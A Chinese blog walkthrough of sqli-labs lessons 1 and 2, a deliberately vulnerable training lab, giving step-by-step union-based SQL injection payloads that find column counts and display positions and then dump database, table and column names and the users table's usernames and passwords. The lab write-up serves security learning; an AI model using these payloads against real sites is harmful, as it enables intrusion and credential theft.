zoukankan      html  css  js  c++  java
  • sqli-labs注入lesson1-2闯关秘籍

    ·lesson1

    1.判断是否存在注入,并判断注入的类型

    其实根据第一关提示

     判断注入类型

    输入下面的语句进行测试:

    ?id=1' and '1'='1

    返回界面如下图:说明存在 字符型注入

     2. 使用order by 猜测SQL查询语句中的字段数

    ?id=1' order by 3 --+

    注:--+ 在这里是注释   表示注释掉后边的东西

    当order by 4 的时候 发现页面报错,所以字段数为3

     3.确定显示的字段显示位

    ?id=1' and 1=2 union select 1,2,3 --+

    可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息

    1)关于显示位:

    我们在进行手工SQL注入的时候会用到order by 查询列数,然后通过union select 爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。

    因为我们通过order by 知道了列数只有三列。然后在这里使用了union select 1,2,3 --+ ,网页中显示了信息2、3,说明网页只能够显示第2列和第3列中的信息,不能显示其他列的信息。也可以理解为网页只开放了2、3这个窗口,想要查询数据库信息就必须要通过这个窗口。所以我们想要知道某个属性的信息,比如admin,就要把admin属性放到2或3的位置上,这样就能通过第2列爆出admin的信息

    2)关于union查询

    union操作符用于合并两个或者多个select语句的结果集

    (注:使用union联合查询的前提是必须要有显示位,并且两个select必有相同列、且各列的数据类型也相同。)

    当 id 的数据在数据库中不存在时,即id为假,(让id=-1或者是在该关中语句id=1' and 1=2,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返回了我们构造的 union 的数据。如果我们让union之前的id=1'即为真,这时候会显示id=1'的信息并不会回显union之后的select信息:

    4.爆破数据库的版本和数据库名

    ?id=1' and 1=2 union select 1,version(),database() --+

    发现版本型号以及数据库名security

     

    5.查看所有数据库名

    ?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

    查询数据库名,发现有security数据库,该数据库中一般存放用户名和密码

     6.根据数据库名爆破出该数据库中的所有表名

    ?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

    所爆破出来的列名中发现users表

     7.爆破users表中的列名

    ?id=1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

    发现有user列和password列

     

    8.爆破用户名和密码

    ?id=1' and 1=2 union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users) --+

     第一关成功获取用户名和密码

     

    ·lesson2

    1.与第一关不同的地方是   第一关是字符型注入,第二关是数字型注入

    ?id=1' and 1=2

    ?id=1 --+

    2.使用order by 猜测语句中的字段数

    ?id=1 order by 3 --+

    ?id=1 order by 4 --+

    3.确定显示位

    ?id=1 and 1=2 union select 1,2,3 --+

    4.爆破数据库的版本和数据库名

    ?id=1 and 1=2 union select 1,version(),database() --+

     5.查看所有数据库名

    ?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

     6.根据数据库名爆破表名

    ?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

     7.爆破表中列名

    ?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

     8.爆破用户名和密码

    ?id=1 and 1=2 union select 1,(select group_concat(password) from security.users),(select group_concat(username) from security.users) --+

     第二关也成功获取用户名和密码

  • 相关阅读:
    bootstrap2文档的学习
    在mininet上基于ovs,ovx,pox搭建三点虚拟网络
    借鉴一些关于js框架的东西
    setTimeout js
    Ubuntu 上配置静态的ip
    html5 canvas
    获取当前页面的长宽
    ovs的卸载
    tensorflow实现Word2vec
    梯度下降做做优化(batch gd、sgd、adagrad )
  • 原文地址:https://www.cnblogs.com/Ghost-m/p/12262997.html
Copyright © 2011-2022 走看看